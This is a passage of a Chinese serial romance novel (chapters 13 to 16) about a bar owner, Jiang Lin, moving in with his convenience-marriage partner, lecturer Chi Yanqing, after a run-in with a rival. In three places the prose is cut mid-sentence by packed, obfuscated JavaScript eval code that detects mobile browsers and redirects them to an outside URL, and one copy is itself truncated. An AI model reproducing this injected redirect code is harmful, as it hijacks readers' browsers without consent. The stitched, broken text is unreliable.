池砚青按灭手里的烟,感受着烟瘾下身体的细微反应,收起烟盒。 洗漱后,他本来应该回主卧休息,路过客卧的时候却停了一秒。 想到什么,他推开门,双手抱胸倚着门框,借着稀薄的月光看着床上新添置的被褥和行李。 东西是蒋凛昨天送来的,说是提前搬好,免得到时候麻烦。 送完就走了,一分钟也没多留,口口声声说着不好意思打扰他,临走还提醒他这次拿的海鲜要快点吃,味道才好。 池砚青闭了闭眼睛,脑海中闪过蒋凛看着他时的神情,桃花眼眼尾微微往下压着,笑起来很招人。 在他面前心思挺多,但不烦人。 池砚青很轻地笑了声,关上客卧的门。 不烦人就挺难得。 十一月第一天,池砚青课排得很满,下午还有节大一的心理教育。 这几个班是他刚开学带过一节的,他记得蒋凛总是提起的妹妹就是这几个班的学生。 上课的时候学生经常拿手机拍ppt,在池砚青的课上,也有不少学生趁机偷拍他们池老师。 叶析言就是其中的一员。 跟别人不一样,她拍池砚青多了点理直气壮——帮他哥拍“嫂子”,以解相思之苦。 今天又到了拍照日,叶析言上课前狂戳蒋凛,等到一个大额红包后立刻发了个“OK”。 蒋凛那边回了个消息。 【我也没让你拍过,你自己偷摸拍,还回回找我要钱?】 【小心我给你们池老师打小报告】 叶析言收了红包,小嘴跟淬了毒似的。 【什么时候能吹枕边风了再来威胁我吧】 “靠……”蒋凛看着手机绷不住直乐。 林葳问他怎么了。 蒋凛放下手机:“让一小屁孩儿给我损了。” “析言吧?” “除了她还有谁,”蒋凛拿起笔在本子上写写画画,“下季度这几个酒用完就下了,价越来越高了,我还得倒搭。” 林葳胳膊搭在吧台上,侧身看着:“我研究新的替替。” 蒋凛点头:“小墨这几天家里有事来不了,刚跟我请假了,让愈心替他。” 这俩小孩都是他店里的调酒师。 林葳问他:“打电话了?” “打了,”蒋凛尾音拖长,无奈地摇摇头,“小丫头电话里跟我鬼哭狼嚎的,我说双倍加班费才消停。” “你好说话,他们故意撒娇呢,把你当哥了。”林葳笑着说。 他随口附和:“当吧,都是我弟弟妹妹,以后酒吧就改名叫My Brother。” 蒋凛知道店里这些小孩儿是打心底里依赖他,信他,所以干上就不乐意走了。平时虽然有撒娇卖乖的时候,但真工作起来一个比一个认真。 都是蒋凛故意惯的,他太会笼络人心了,什么事该强硬什么事睁一只眼闭一只眼他心里都有数。 店里的人都夸他好,说他比别的老板强太多,蒋凛有时候自己都不认同。 这些是他用了多少心思刻意营造的他自己最清楚,都是为了酒吧的发展,说白了,就是为了更轻松地赚钱。 他没那么高尚,也算不得什么天大的好人。 晚上,估摸着池砚青下班该吃饭了,蒋凛抱着手机给他发消息。 【池老师,你今天是不是有大一的课?】 池砚青过了会儿才回他。 【有】 【你妹妹在?】 蒋凛这回直接录了条语音消息发过去。 “在呢,跟我显摆半天,说能看见你。” 池砚青也回了语音消息,听声音是在家里,背景挺安静的。 “你想看你也来。” 蒋凛点开听了两遍,多少带着点回味。 来,来哪啊?学校还是家啊? 太好品了。 心思转了九曲十八弯,蒋凛回的还挺矜持。 “我看看照片就够了,小丫头片子不听课,净拍他们池教授了。” 池砚青就回了三个字。 “告状呢?” 蒋凛心道对不住了析言,哥就追这一回人。 “寒碜我半天了,我拿她没招,寻思找找外援。” 外援这次没发语音消息,就简单几个字。 【姓名,学号】 蒋凛抱着手机笑了半天,笑够了才发消息。 【不闹了不闹了,我一大人这么记仇太不像话了】 【你吃饭呢吧?】 【别回了,抓紧休息】 跟每回聊天一样,头是他开的,尾也他收。 后续池砚青如果真有事就不回了,他也算“知进退”,如果没事可能回他一句,他就顺势往下唠了。 一言一行都是心思。 今天池砚青没回,蒋凛就知道他那边是有事忙,也不等了,放了手机就站吧台前面跟熟客聊天。 对方失恋了,跟他大吐苦水。 蒋凛安慰人有一手,三言两语的把人都快说哭了,越听越觉得自己值得,对方没珍惜。 “蒋老板?”一个略显沙哑的男声穿过音乐,直直刺进蒋凛耳朵里。 蒋凛偏头,看见个穿着挺正经的清瘦男人,容貌说得上英俊,他看人先看特征,注意到对方脖子上有个红色药瓶的纹身。 蒋凛擅长记人,这声音他不熟,脸倒是有点印象。 上次和池砚青在酒吧偶遇,这人就坐池砚青对面,当时话不多,池砚青跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896155|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他也没互动,蒋凛就没太在意。 但现在出现在他这儿,可就有意思了。 他以不变应万变,说了句“你好”。 男人自我介绍:“宋曳,唐宋的宋,摇曳的曳。” 熟客还以为他俩认识呢,一看不认识,抹了抹眼角,开玩笑:“哟,蒋老板,又是你追求者?” 蒋凛目光有些玩味:“确实是追求者,追谁的就不一定了。” 熟客看两人有话说,举了举酒杯去卡座里喝了。 宋曳很有范儿地走到蒋凛身边站定,不紧不慢地找苏愈心要了杯威士忌。 又聊了两句酒,才回头看蒋凛,开门见山地说:“你是怎么勾搭上砚青的?” 蒋凛一直在观察他,一会儿功夫就给人看明白了。 等宋曳一开口,他翘着嘴角说:“正经相亲认识的,怎么,兄弟你有想法没赶上趟?” 他不用“勾搭”这种词,不是开不起玩笑,单纯觉得对池砚青不尊重。 宋曳脸色紧了紧,还是慢悠悠地说:“我们认识挺多年了。” “那你挺沉得住啊,”蒋凛笑着喝了口饮料,眼神看着他,“这么多年都没个动静。” “你怎么知道没动静?”宋曳瞥他一眼,“我和砚青很熟了,经常一起出去。” 蒋凛对外人可没什么好脾气,轻飘飘刺过去:“熟到言行举止都学他?” 不等宋曳说话,他又说:“你学得不像,方向也错了。” 一句话杀人又诛心。 “你什么意思?”宋曳喉结很轻地滚了滚,握着酒杯的手很用力,“我像不像砚青你说了不算,我跟你肯定不像——” “我不像你这么没皮没脸,上赶着送,”他眯着眼睛,“我嫌丢人。” 蒋凛一笑,胳膊搭着吧台:“上赶着可不丢人,好几年了还张不开嘴就太废物了。” 宋曳攥了攥手指,脸色发冷:“蒋凛是么,别以为我不知道你们是为什么结婚的,就一年,砚青马上就跟你离婚。” “我们马上同居。”蒋凛点了点手机,挑眉看他,“刚还发消息了,天天发。” 宋曳盯着他,脸上的冷淡快碎了,一句话都没说。 蒋凛笑了声,语气带着点谆谆善诱:“一年可太长了,你说是吧?你不甘心,你也追,我还真不怕你跟我争。” 他语气从始至终都漫不经心,真没把宋曳当个事儿。 “你对我可能不了解,我这人,看见好东西,没人跟我抢我反倒心慌。天上掉馅儿饼这事儿我不信,你一来我还真宽心不少。” “我跟砚青——”宋曳刚开个头,就被打断了。 “你怎么说我我无所谓,我一个开酒吧的什么话没听过,”蒋凛说这句的时候脸上的笑淡了,语气也冷了下来,“但你在我面前给池老师造谣,我就听不得了。” 他扯了扯嘴角,又带上点笑意:“今儿你是自己出去,还是我找保安给你轰出去,我让你选。” 宋曳跟他僵持了几秒,就冷着脸付了酒钱走了。 那杯酒刚调好,苏愈心递给温佳佳,温佳佳瞅着蒋凛:“老板?咋整啊?我喝了?” “你喝完还能立着吗。给那桌,”蒋凛下巴点了点刚失恋的熟客,“说我送的。” 温佳佳狡猾地嘿嘿乐,挺胸抬头就过去了。 蒋凛这边安静了一会儿,想着宋曳左一句“砚青”右一句“我跟砚青”的,心里多少还是有些不痛快。 这位在他面前硬装高冷文化人,一看就是个省心的。 他可不是什么老实人,有情绪得找出口,总攒着没好处。 他拿出手机,滴滴答答地敲了几个字,直接发了出去。 【池老师,我告个状】 14.第十四章 消息发出去了,蒋凛反倒没那么松快了。 按理说人找上门了,他也没落下风,三言两语就给人气跑了——从哪看他都不像能吃亏的人。 这么大张旗鼓地当个事儿跟池砚青说一遍,怎么想都显得他没数儿。 不巧,他刚要解释两句,就接了个电话忙别的去了。今天店里人多,这边那边顾着,手头的事说忘就忘。 等再想起来,都是后半夜到家洗完澡了。 蒋凛坐在沙发上,脑袋上顶着条毛巾,左手来回擦着头发,另一只手拿着手机。 池砚青几个小时前就回复了。 【什么事?】 简单的三个字,更显得他小题大做。 蒋凛扯掉毛巾扔到一边,客厅没点灯,暗蓝色的灰暗里,借着卧室的光能看见手边的烟。 他随手拿出一根含在嘴里,打火机在手上转了又转,也没去点。 他不喜欢在客厅抽烟,时间长了难免有烟味附在墙上,他鼻子灵忍不了。在家实在想抽了就去阳台开窗抽,多冷都得开窗。 借着夜色遮掩,蒋凛沉默地坐着,脑海里却一直在想事。他仔细过了一遍两个人从认识到现在说过的话,见过的面。 事无巨细,全都放在秤上,小心仔细地量了一遍。 最后得出个结论——时间太短了,关系太模糊了。 这种时候最需要慢慢来,说什么做什么都容易“过”,稍不留神就是唐突。 今天他这句话就有点过了。 池砚青的私生活跟他有什么关系,俩人现在说死了也不过是合作关系,他单方面带着心思,也只是单方面的。 蒋凛用力咬了咬烟嘴,今天他说给宋曳的话,有一句也是提醒他自己的。 没人跟他争他反倒心慌,事情太顺利他也不安心。 他一直觉得,人一旦认为某个东西某个人就是你的,就没法再好好珍惜了。一旦放松了,也就从手心里溜走了。 他想得到的东西一直都是他费劲心思争取和维持的,活了快三十年,他还没被馅儿饼砸过,也不信真有好事能落他头上。 认识这段时间,池砚青一直没跟他冷过脸——这是他一直以来小心翼翼步步为营换来的态度。 他现在反而本末倒置,还真以为是自己不费力气地招人稀罕了。 说的话不分轻重,想的事也太不当心。 越想要的就越不能着急,越想留住的就越得小心护着,池砚青边界感有多强,他已经看得很明白了。 他得知道自己是谁,摆清楚自己的位置,不能越界。 【有个叫宋曳的今天来我酒吧了,说了几句不中听的】 【蒋老板在自己地盘上哪能让别人寒碜了,我给他气跑了】 【我先跟老师打个报告,省得他告我小状】 没提具体内容,三言两语像是逗趣儿,蒋凛发完就睡觉去了。 一晚上睡得也闷,做了些乱七八糟的梦,早上半梦半醒的时候忽然梦到小时候了,背着小书包在家里跟人吵架,嗓子都哑了。 等睡醒睁开眼,也想不起来是跟谁吵了,但那种隐隐的怅然还是压得他情绪不高。 手机里池砚青已经回了消息,不到七点就发过来了。蒋凛看了眼时间,都快十一点了。 俩人的作息差别像活在两个世界。 他先去洗了脸,又从冰箱里拿出了上次老妈给拿的饺子,上回他没吃,直接冻起来了。 现在当成半成品,上锅蒸十分钟就行了。 等饺子的时候,他习惯性地想从旁边拿点花茶泡上,打开罐子才发现早空了,连着喝了半个多月还养成习惯了。 蒋凛最后拿了瓶矿泉水,搭着饺子随便吃了顿早午饭。 边吃边打开手机,看池砚青的消息。 第一条是六点四十。 【知道了】 第二条是八点二十五。 【他不会再去了】 蒋凛脑子稍微一转就想明白了,池砚青应该是找过宋曳了。 至于是怎么说的,既然池砚青没说,他就不问。 这事在他这翻篇儿了。 之后再跟池砚青发消息,蒋凛琢磨的更多了。 这几天本来惦记着问问什么时候搬,转念又把话收回去了,改成了上班教室冷不冷。 消息还是每天都发,频率这事儿蒋凛不省,这是基本的态度。 就是内容语气稍微调了调,往后撤了点儿,别那么黏糊,别烦人。 宋曳也确实再没来过,蒋凛之后一次都没跟池砚青提过这号人,只是偶尔自己在心里想想。 可要说人真不能总想,越想他心里越不得劲儿,眼前全是宋曳一口一个砚青的模样。 他叫的可是池老师,尊敬是尊敬,可关系听着也远了。 蒋凛都给自个儿气笑了,以前也没这么小心眼儿过。这回是真栽了…… 有天真忍不了了,他直接打电话给朋友,问这个宋曳到底是怎么个人,临了特意叮嘱,不能细查池砚青那边的事。 对方消息灵通,查得也快,没半天就帮他弄清楚了。 宋曳,职业画家,正儿八经的艺术家,作品蒋凛不会欣赏,卖的还都挺贵。 今年三十一,比蒋凛大两岁,人挺清高,看那一堆奖项,也确实有傲气的资本。 蒋凛接着往下看。 宋曳跟池砚青认识有七八年了,两个人算是朋友。 应该没在一起过,不过有池砚青的酒局必有宋曳,也有人觉得他们是在一起过但分了。 池砚青还买过他的画,花了十几万。 买过画。 蒋凛重复了一遍。 花了十几万,买过画。 再往后就没什么有用的信息了,朋友跟他抱怨:“你拢共就查俩人,还屏蔽一个,我想发挥都发挥不出来。憋死我得了。” 蒋凛心里都够闹腾了,哪有空安慰他,随口说:“找个墙撞撞就舒服了。谢了,哪天过来请你喝酒。” 朋友让他气笑了:“你大爷的蒋凛,我都不知道该骂你还是夸你了。” “爱我吧,”蒋凛自嘲地说,“我就缺爱。” “你还缺爱?张回嘴八百个人排队等着你干,也就是你自己想不开,非要结什么婚,”朋友啧了声,话糙理不糙,“长着张夜夜春宵的脸,过着留守儿童的日子,说你什么好呢。” “说我三好学生吧。”蒋凛也啧。 做到这份儿上就算打住了,蒋凛自觉没身份问池砚青,宋曳也没再来过,再揪着不放就显得他没数儿了。 这点情绪就自个儿慢慢消化着,他游走社交场这些年演戏也演惯了,跟池砚青聊天时还是该说说该笑笑,什么都不知道似的。 有时候池砚青开些玩笑,他回复的时候也不像以前那么“放肆”了,把自己位置往后挪了又挪,生怕唐突了。 他这样池砚青不可能注意不到,也问过他最近是不是有什么事,蒋凛很果断地说没有,话题就没往下顺。 之后的对话就没那么热络了,说什么都像隔着一层。 以前是池砚青站在原地,蒋凛一次次往前追,池砚青可以等,蒋凛偶尔快,关系一点点往前推,总有一根线牵着。 现在蒋凛直接站住了,池砚青回头问过他,但也只能问问。 身份尴尬的不止蒋凛,池砚青的位置说起来比他还被动。 一个让人追着的人,看着好看,主动权其实都在蒋凛那儿,蒋凛一撤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907798|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他就悬着了。 问过一遍就够了,再问就多了。成年人的交往最忌讳的就是多。 所以俩人谁都说不着谁,纯是关系太浅也太短了。 十一月过了一半,眼见着要立冬了,这天晚上蒋怀山给蒋凛来了个电话,问他池砚青什么时候来家里吃饭。 蒋凛这才想起来今天发的消息池砚青还没回呢。 他躲着店里的音乐,走到外面点了根烟才说:“我给忘了,还没问呢。池老师挺忙的,这要求有点儿烦人了啊老头。” 蒋怀山训了他几句,说他不长心:“少跟我打马虎眼,我问过他们孙教授了,老孙说他最近几天比前阵子轻松了不少,你再去问问。” “您好不容易放个假还得安排两盅儿呢,”蒋凛吐出口烟,看着门外来来往往的人,脸上挺平静,语气带着笑,“人家池老师也得休息,我得多大脸拉着他陪你加班。” 眼见着蒋凛油盐不进,蒋怀山来气了,开始给他上课。 “……一个蒋朔一个你,我俩儿子没一个让我省心的!你知道你现在是结了婚的人了吗?你以为你还能赶上几个池砚青这种条件的?蒋凛,你马上三十了,过了三十再找谁还能找你?你还觉得你条件挺好是吧?!” “池砚青身边多少人惦记着呢!你比得上哪个?” 说者有意,听者这回难得也有心了,蒋凛还真让这句话给刺了一下,他嗤了一声。 蒋怀山听见了,骂的更大声了。 蒋凛把手机拿远了点儿,等他骂得差不多了,才拿近了说:“您这心操的,要不然给你个话筒,你直接上池老师教室外喊去,就说你儿子非他不可,高低不离婚。” 蒋怀山一口气差点没上来:“蒋凛!” “哎,”蒋凛咬着烟笑了下,眼底的情绪有些沉,“我开玩笑呢,我努力吧,等着精诚所至金石为开……” “我不听你说废话,我就看结果,”蒋怀山说,“看你什么时候把人带回来!” 挂了电话,蒋凛揉了揉耳朵,震得他耳膜疼。 老爸的话听了这么多年也没个花样,他都免疫了,吓唬吓唬蒋朔够,他除了再多一层压力之外,也没什么感觉了。 压力太多了,他都压惯了,债多不压身么。 第二天跟池砚青聊天,蒋怀山的话蒋凛半个字都没提。 池砚青说可以搬过来了,蒋凛发消息问“你明天方便吗”,池砚青直接给他回了个电话。 蒋凛还以为他有事要说,接了电话先问:“怎么了池老师?” “你明天几点有空?”池砚青问。 “我几点都行,”蒋凛笑了声,“我哪有什么正事儿。” “说个时间。”池砚青又问了一遍。 蒋凛说:“看你,我都行。” “你再这么说话,我明早直接到你家楼下给你装车里拉过来吧。”池砚青说。 蒋凛笑得有点无奈,也有点苦,嘴上说:“下午吧,下午一点。” 池砚青“嗯”了声:“我去接你。” “不用,我自己直接——”蒋凛话没说完。 池砚青说:“我去接你,你收拾好东西,不用提前拿下来。” 蒋凛嘴张了张,也只能说:“知道了,我就老老实实在家等着。” 挂了电话,蒋凛老觉着哪不对,一时间也说不上来。 爽快大方那套都是给外人看的,社交技巧罢了,蒋凛内里正经细腻着,他琢磨了一天,到晚上也没琢磨明白。 总感觉三言两语就给池砚青惹生气了似的,这人也没跟他生过气,蒋凛也没看见过他生气是什么样。 对别人蒋凛看一眼就明白,换到池砚青身上,可能是当局者迷,他反而犹犹豫豫拿不准了。 15.第十五章 第二天下午一点池砚青准时到了,第二次来蒋凛家,没喝茶也没坐下,简单打了个招呼,就跟他一起拎着行李下了楼。 之前把大件都拿过去了,这次东西不多,一个后备箱都没装满。 明天起就得从池砚青家出发去店里了,蒋凛没上池砚青的车,开着自己的跟在他后面。 到了车库,又是一人一部分拎着上楼。 池砚青开门,蒋凛在后面老实等着,正经把自己当个不惹人烦的客人了。 进了家里,池砚青给他拿的还是上回他穿的拖鞋,蒋凛知会了一声,先回客卧收拾东西。 池砚青随口答应,然后去了厨房,没再过来看。 蒋凛站在卧室里,先深吸了一口气,揉了揉手腕。 空气里都带着池砚青身上的味道,不止是当初他偶然认出的薄荷味香烟,家里的更像是薄荷茶的香薰,味道淡,闻着很舒服。 蒋凛没把门关死,留了个能从外边看进来的缝隙。 还是觉得这是别人家,刚进来就关门不礼貌。 东西不多,但在池砚青家他没了保洁阿姨帮忙规整,蒋凛一样样拿出来还得想着往哪放,工程量也不小。 他有些头疼地敲了敲带来的小夜灯,犹豫着要不要拿出来,拿出来了放哪啊。 连个开头都没收拾完,门被敲了两声。 “进来吧池老师。”蒋凛正蹲在地上拆包裹,周围围了一圈东西,他蹲圈里跟让什么困住了似的。 这场景有点好笑,他推开手边的东西,边笑边说:“你一敲门我觉着这跟我家似的。” “当你自己家住。”池砚青端着两杯茶,走过来先递给他一杯。 是熟悉的香味,蒋凛有半个月没喝了。 他站起来先把行李往旁边踢了踢,接过茶习惯性地低头就喝,这回池砚青离得近,飞快抓住了他手腕:“烫,等会儿喝。” 池砚青手被茶杯捂热,抓着他的时候那块皮肤都跟着烫,蒋凛下意识缩了一下。 池砚青看着他的反应,很自然地收回手。 气氛突然有些尴尬,蒋凛稍微往后半步,直接坐在了床上,他低头吹了吹,开玩笑说:“你给我吓一跳。” “等会儿学校有点事,我过去一趟。”池砚青靠着窗台,说话时轻轻握着杯子,冷白的手指被水温烫着,有些泛红。 “门密码我发你微信,你也可以用钥匙,在鞋柜上,两把你可以都带着,放车里备用一把。” 他已经换了一身衣服,黑衬衫西装裤,很板正的一身,可能是在家里,他袖口扣子没扣,领口也稍微敞着,没系领带。 很放松的状态,没因为家里多了个人而刻意改变习惯。 “嗯,知道了,”蒋凛说,“我过会儿也得去酒吧。” 池砚青始终看着他,没急着走,问:“还有什么需要的?我回来顺路买了。” “没了,”蒋凛想也不想就说,“我自己都备齐了。” 他回的太快,好像刻意切割,他的事不愿让池砚青插手。虽然蒋凛单纯不想麻烦他,但听着不像这么回事。 池砚青顿了顿,再开口语气就淡了几分:“今天晚上几点回来?” “得后半夜,我晚着呢,你睡你的,”蒋凛也注意到了刚才语气的问题,他清了清嗓子,话说得更有分寸:“我顺道去赵晟家洗个澡,回来我就不折腾了,直接躺下。” 池砚青很轻地笑了声,眼底很平静:“蒋老板对我家浴室不满意?” 他头回叫他蒋老板,没什么调笑的意味,反而有些疏远。 蒋凛立刻说:“没有,什么满不满意的,又不是宾馆。我怕打扰你睡觉。” “那就不是浴室的问题,避着的是我。”池砚青说。 这高度上升的有点快,蒋凛还是说没有,但这句他没多解释。 客卧里一时间有些安静。 还是池砚青先开口,声音平稳地问他:“明天也这样?” 蒋凛看向他。 “说请进,说谢谢,说不好意思……”池砚青微微皱了下眉,很快恢复平淡,“蒋凛,你要在这住至少一个月,我说过你可以当自己家,你如果觉得不合适,我不逼你。” “我当这段时间你在微信上的态度是暗示,”他摩挲着茶杯,语气听不出喜怒,“但我不喜欢不确定的事,也不喜欢猜。你可以明确通知我一声,你希望这一个月怎么过?” 再次从池砚青嘴里听见“通知”这个词,蒋凛不受控制地皱了皱眉。 这两个字太冷了,不是对他冷,是对池砚青太冷了。 池砚青说多少句也没这两个字冲击大,蒋凛深吸了一口气,“池老师,我不是对你,我是……怪我自己。” 池砚青“嗯”了声,等他继续说。 蒋凛胳膊拄在膝盖上,沉默了几秒,才说:“池老师,我一直觉得我挺会交际的,在外边说话办事没怵过,也都做的漂亮。但在你面前,我想得多,我怕的也多。” 池砚青看着他,声音平稳:“怕什么?” “我怕我说话不当心,你觉得我这个人太飘,怕显得我不尊重你,我看起来不稳当,不用心。” “我不是故意让你觉得我有意见。我是觉得之前我靠得太近了,不好看。” 蒋凛这次把心里话说出来了,他知道自己看起来是什么样的人,也知道自己跟看起来的其实不是一回事。 他最怕的是池砚青误会他,觉得他轻佻,只想玩玩。 池砚青很认真地听他说完,看进他眼底:“见你第一眼我就没觉得你飘,之后也没这么想过。” 蒋凛扯了扯嘴角,池砚青的话总能说到他心里最软的一块地方,他有时候觉得被看透了,有时候又会不经意被戳心。 他低头看着杯里漂浮的花茶,笑了下说:“还有个事儿。” “你说。”池砚青看他。 “……那天我是真不痛快了,宋曳在我面前说的话我听进去了,”蒋凛搓了搓茶杯,“池老师,你说过你跟我想的不一样,这话我今天得还给你,我也没你想的那么沉得住。” “我们的标准不一样,”池砚青喝了口茶,“我要求没那么高。” 话都说到这儿了,蒋凛抬头看着他,说:“按理说我不该问,但我确实不舒坦了。今天我就多问一句,你俩现在是什么关系?” 话挑明了,情绪也就通了。 池砚青坦然地说:“没关系。” 蒋凛一愣。 “现在没有,以前也没有过,”池砚青说话时肩膀微微放松,“我这边跟他不熟,他那边怎么想的我没了解过。” 这几句听着太顺耳了,蒋凛顺着追问:“他叫你砚青,还说你们认识挺多年了。” “我没批准过,”池砚青手指点了点杯子,“蒋凛,我三十四了,见过面的人可能都觉得认识我挺久了。” 这句话从蒋凛的角度挺能理解的,因为长得好,太多人在外边说跟他关系铁了,也有不少造谣说跟他有过一段儿的。 没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那双桃花眼笑着的时候好看,不笑的时候下压的眼尾又显得可怜。 “没什么不能问的,”池砚青把他的反应都看在眼里,淡定地说:“你今天问了,我也没把你扔出去,怕什么。” 蒋凛扑哧笑了,抿了抿嘴唇也没忍住笑声,没这么举例子的,池砚青就是故意逗他呢。 他们池老师说话嗓音低,开的玩笑也不明显,也就他能回回听出来,还觉得有意思。 蒋凛低头喝了一大口茶,擦了擦嘴,干脆讨巧要了个“特权”:“行,池老师,你说话算话,下回我再问你什么,你都不能觉得我‘过’。” 一句话给池砚青架住了,按蒋凛之前的标准,这句就有点“过”了。 池砚青看着他,很轻地挑了下眉,半晌,说可以。 蒋凛这才放心,精神头也回来了,主动看了眼时间,问他:“池老师,你是不是该去学校了?” “来得及,”池砚青看了眼地板上的东西,“今天应该收拾不完,叫个保洁吧,你有熟悉的么?” 蒋凛心底微动,说:“有。” “那叫你熟悉的来,不用等我在家,你看着就行。”池砚青说。 蒋凛得了允许,直接当着池砚青面给保洁打了个电话。 池砚青就在旁边看着他,也没避开,等他约好时间挂了电话,才说:“我负责做饭,你请保洁,有问题么?” 这就开始分工了? 蒋凛坐得正了点儿,说:“没问题。” “饭菜都在冰箱里,你晚上回来可以自己热着吃,”池砚青停顿了两秒,故意说:“在外边洗完澡应该挺饿的。” “哎!”蒋凛捧着水杯,喝也不是,不喝也不是,耳根子都有点烫了。 他捏了捏耳朵,笑得有些讨饶:“这事翻篇吧池老师,快别提了。” 16.第十六章 池砚青出门后,保洁阿姨也来了,蒋凛跟着一起收拾了一个多小时,总算把这些东西都规整好。 等阿姨走了,他衣服都没换,也紧跟着出门了。 前几天新联系了一个乐队,蒋凛到店先带着人检查设备,把该布置的东西准备好,最后看了眼今天的歌单。 林葳进来的时候他偏头打了个招呼,转身接着跟乐队沟通。 “晒太阳了?”林葳走过来,打趣他,“RoomTemp天晴了,这才是常温吧。” “嗯,晒了,”蒋凛知道她指的是什么,翘着嘴角承认,“心都晒热乎了。” 蒋老板心情好了这事不止林葳看出来了,就连温佳佳和黄鹿南上班的时候都问他是不是遇到好事儿了。 “这么明显吗?”蒋凛摸了摸脸。 “超级明显,”温佳佳面无表情板着脸,手里拿着根吸管假装抽烟,“你前几天,没人的时候就这样。” 旁边黄鹿南皱着眉,故意压低声音沙哑地说:“我~好~苦~但~我~不~说~” “闹呢,我可没摆这德行啊。”蒋凛按了他脑袋一下,又忍不住看了眼反光的墙面,里头的人眼角眉梢都写着轻松,愉快的不得了了。 没想到他也有藏不住事儿的一天,闲下来的时候蒋凛回想池砚青今天和他说的那些话,和说话时的神情。 他这算是见过了池砚青生气的模样了吧? 连不快都藏在克制里的人,蹙眉看向他时的目光越平静,就越让他难捱。 也不是被吓住了,说来没道理,他有些看不得池砚青在这种时候的克制。 一言一行都在红线里,半步不踩。 他看着心里不舒服。 人跟人活法不一样,蒋凛也没立场评判什么,现在说心疼都还太早。 他也不愿意把精力都用在所谓的“心疼”上,他是实用主义,多干点有用的比什么都强。 这天晚上他刻意比平时晚半小时关店。 比起他自己家,池砚青家更靠近A大,离酒吧也更远,等他开车到家上楼,已经凌晨三点了。 池砚青差不多睡熟了,这个时间不容易醒。 蒋凛习惯用钥匙开门,门刚拉开一个缝隙就看见了里面透出来的光,他愣了下,恍惚间还以为回了自己家。 他走进去,发现不止是玄关,客厅也开着亮度不高的灯,让他一进门就能看清整个空间—— 池砚青看见他随手扔在卧室地上的夜灯了。 心里说不上是什么滋味儿,下车吹了一脸冷风,忽然往脸上贴了杯温水似的,熨帖得哪哪都舒坦。 蒋凛很轻地笑了一声,弯腰拿出拖鞋,把外套顺手挂在衣架上,动作尽可能轻。 简单快速地冲了个澡,出来前蒋凛把水渍都清理干净了,比在自己家还精细。 头发他没吹,不是怕吵到池砚青,单纯是他没晚上吹头发的习惯,反正白天为了造型还得再洗。 打着哈欠给自己倒了杯水,蒋凛打开冰箱,把新买的水果放进去。 一眼就看见了池砚青给他留的饭,他没吃,太困了。 拉开次卧门,感应灯自动亮了起来,他在门口站了一秒才进去。 陌生的环境还是让他有点不适应。 好在进来之后到处都亮着,也不至于睡不着。人往床上一砸,一点没失眠,昏过去似的睡着了。 再醒来,窗帘透出的阳光是灿金色的。 蒋凛用力睁了睁眼睛,看着完全不一样的卧室布置和床上四件套,懵了好一会儿才反应过来,这是池砚青家,他搬过来跟池砚青同居了。 起来之后他先整理衣服,让自己看着别那么衣衫不整。 手机里有池砚青早上七点多发的消息。 【今天有课,晚上到家】 【吃饭】 第一句的暗示蒋凛读懂了,池砚青白天不在家也不会半路回来,他一个人可以待得放松点儿。 至于第二句,蒋凛摸了摸脑袋,这是催他好好吃饭的意思? 不管是不是了,蒋老板心里美着呢,就打算这么理解了。 不止是早饭,池砚青把花茶和泡茶的水杯都给他准备好了。 蒋凛像读着说明书,从起床开始就照着做,等按部就班地做完,胃也舒服人也舒服。 也是头一回睡醒后吃得这么精致,他自己早上起来最懒得吃东西,有时候能糊弄一口,大多数从半夜饿到下午才能吃第一顿。 所以他胃不好,小疼小闹的他都不当回事了。 吃完饭蒋凛没闲着,主动过去把碗洗了,又联系保洁阿姨,跟对方约了每天上门打扫的时间。 池砚青让他当自己家,但蒋凛也不好意思真东丢西放。 他决定按着池砚青的标准收拾,他没那么多时间,就每天请保洁来,收纳和卫生一起做了。 做完这些,蒋凛给池砚青发消息。 【池老师,中午我去趟超市,有要买的吗?】 池砚青这时候应该在上课,过了十二点才回他。 直接列了一个买菜清单,斤数精准到小数点,蒋凛这种买菜苦手看完竟然都有信心了。 蔬菜肉类之外,还有一些小包装的坚果和面包,牌子也给他标好了。 池砚青还告诉他附近几个商超的地址,加上他自己的会员卡号。 蒋凛颇有点被老师委以重任的感觉,穿上外套就下楼了。 等他买完回家,把这些一股脑放进冰箱,新鲜劲儿还没过,又拍了照片给池砚青,告诉他自己买完了。 池砚青的回复依旧简洁。 【坚果和面包带着,回来之前吃】 蒋凛看着不像好孩子,但其实打上学那会儿他就挺让老师家长省心的。这会儿听着池老师的安排,他半句没犟,出门前直接往兜里揣了几包。 这些他自己也经常买,但他想不起来吃,好多都放过期了才想起来——刚好,直接扔了。 后半夜酒吧里人就少了,蒋凛随便找了个地儿,找林葳要了杯温水,一边往嘴里扔坚果一边查账。 让温佳佳看见了,大惊小怪地跟人喊她老板知道饿了,世界第N大奇迹发生了。 蒋凛听着也乐,又从兜里拿出一包,问她:“吃不吃?” “吃,吃!”温佳佳拿过来,极尽谄媚,“不愧是我老板买的,看着就好吃。” “嘴甜不给涨工资。”蒋凛逗她。 